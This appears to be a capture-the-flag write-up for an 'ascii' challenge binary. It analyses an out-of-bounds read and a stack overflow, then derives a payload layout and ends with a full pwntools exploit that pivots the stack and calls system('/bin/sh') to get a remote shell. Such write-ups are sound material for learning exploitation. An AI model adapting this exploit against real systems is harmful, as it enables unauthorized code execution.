Introduction
Points: 132 Solve: 32
I did not try to solve the challenge during the competition. Recently I picked this challenge as an exercise and found that it’s actually a very interesting challenge on stack buffer overflow.
Target Analysis
In this challenge, the attacker is only allowed to input one string and get the shell. The string will be processed by the target program and will be output with shadow (some art effect). So we have to analyse how target program processes the input string.
To give a direct view of the vulnerability of the target, we display part of the pseudo code below
static char input[0x100]; int main() { output[0x6000]; fgets(input, 0x100); assembler(output); for(i=0; i<6; i++) { puts(output[0x1000*i]); } } void assembler(char *buf) { int level, diff; char *str; for(i=0; i<strlen(buf); i++) { if(buf[i]>=0x30 && buf[i]<=0x39) { diff = input[i]-0x30; level = 0; while(level <=5) { str_4 = src[diff*6 + level]; strcat(buf[level*0x1000], str_4); } } else if(buf[i]>=0x41 && buf[i]<=0x5a) { diff = input[i] - 0x41 + 0xa; level = 0; while(level <=5) { str_4 = src[diff*6 + level]; strcat(buf[level*0x1000], str_4); } } else if(buf[i]>=0x60) { diff = input[i] - 0x61 + 0xa; level = 0; while(level <=5) { str = src[diff*6 + level]; strcat(buf[level*0x1000], str); } } else { //add padding byte to buf } } }
In this pseudo code, there exists two buffer overflow vulnerabilities in the target, one out-of-bound read at line 46 and one out-of-bound write at line 47 in the pseudo code.
Out-out-bound read: In the target, address of src is 0x804c060 and address of input is 0x804c420. In the situation where input[i] is 0x7f, the value of str will be loaded to the value we have put in input string.
Out-of-bound write: From the stack layout, we can observe that the total size of the output buffer is 0x6000 and the buffer is cut into 6 levels and 0x1000 bytes at each level. Each level will be concatenated with a string according to input[i], and we can quickly observe that a long string (e.g. “A”*0x100) will trigger a stack buffer overflow.
Exploitation
Plan
The basic idea is to use buffer overflow to overwrite a the return address on the stack. Since there exists system call in the target, we can jump to the system via preparing a pointer pointing to “/bin/sh” in stack. However, after view the epilogue procedure of the target (picture shown above), we find that it cannot be that easy.
The $esp register is set according to the value set at $ebp-0x4. Therefore, in the epilogue of the function, we expect to prepare the memory layout as shown below. And there comes to the interesting part of this challenge.
Breakpoint 7, 0x080489bc in ?? () (gdb) x/8wx $ebp-0x4 0xffa03044: 0x0804c510 0x0804c514 0x7f7f7f7f 0x7f7f7f7f 0xffa03054: 0x7f7f7f7f 0x7f7f7f7f 0x7f7f7f7f 0x7f7f7f7f (gdb) c Continuing. Breakpoint 8, 0x080489c3 in ?? () (gdb) x/8wx $esp 0x804c50c: 0x08048970 0x0804c514 0x6e69622f 0x0a68732f 0x804c51c: 0x00000000 0x00000000 0x00000000 0x00000000
To assure that the stack will be overwritten as shown above, our final payload look like (A and B are two unknown variables):
payload = (Addr1)*5 + (Addr2) + "\x08"* A + fakeESP + fakeEBP + "\x7f" * (B+1) + paddingBytes + systemCall + binshAddr
Here Addr1 and Addr2 are two addresses for out-of-bound read. To avoid that the concatenation on first 5 levels in the stack will overwrite the string in the 6th level, Addr1 should be much larger than Addr2. At the same time, Addr2 should point to somewhere in the middle of the payload for stack overflow. In the end, we will get an equation about A and B.
0x1008 = FixedOffset + (0x18 + A + 8 + B + 1 - (Addr2 - 0x804c420)) * B + (0x18 + A - (Addr2 - 0x804c420))
In LHS, 0x1008 represents that we have to put 0x1008 bytes in the stack before we can put fakeESP and fakeEBP at desired location in memory. RHS seems a little bit complicated. FixedOffset represents the bytes put into stack of the part before “\x7f” bytes. The second line and the third line represents the bytes put into stack via strcat(buf[level*0x1000], Addr2).
According to our analysis, FixedOffset differs for different Addr2. In our final exploit, we pick Addr2 to be 0x804c431, A to be 56 and B to be 35.
Exploitation
from pwn import * DEBUG = int(sys.argv[1]) log.info(DEBUG); if(DEBUG == 0): r = remote("1.2.3.4", 1000); elif(DEBUG == 1): r = process("./ascii"); elif(DEBUG == 2): r = process("./ascii"); gdb.attach(r, '''source ./script'''); def exploit(): buf = 0x804c420; binshAddr = 0x804c420 + 0xf4; systemcall = 0x8048970; fakeESP = 0x804c420 + 0xf0; fakeEBP = 0x804c420 + 0xf4; payload = p32(buf+0x48)*5 + p32(buf+0x11) + '\x08'*56 + p32(fakeESP) + p32(fakeEBP); payload += "\x7f"*(35+1); curlength = len(payload); log.info("0x%x" % curlength); payload += "\x00"*(fakeESP -0x4 - buf - curlength) + p32(systemcall) + p32(binshAddr) + "/bin/sh" log.info("0x%x" % len(payload)); r.recvuntil("Your Input:") ; r.sendline(payload); r.interactive(); exploit();